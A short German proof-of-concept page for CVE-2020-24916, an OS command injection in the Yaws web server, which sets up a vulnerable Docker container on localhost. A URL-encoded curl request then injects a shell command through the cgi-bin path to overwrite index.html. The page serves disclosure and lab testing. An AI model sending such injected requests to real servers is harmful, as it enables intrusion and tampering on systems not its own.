OS-Command-Injection im Yaws-Webserver (CVE-2020-24916)

Proof of Concept

Test-Image erstellen:

docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile .

und/oder

Container ausführen docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi

curl 'http://127.0.0.1:8000/cgi-bin/%22%60export%20Z=$(pwd%7Ccut%20-c1);echo%20pawned%20completely%3E%3E..$Z%22%22index.html%60%22'
curl http://127.0.0.1:8000/index.html

Danksagung

Alexey Pronin (@vulnbe)

Referenzen

• Schwachstellenanalyse
• Yaws auf GitHub
• CVE-2020-24916
• CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')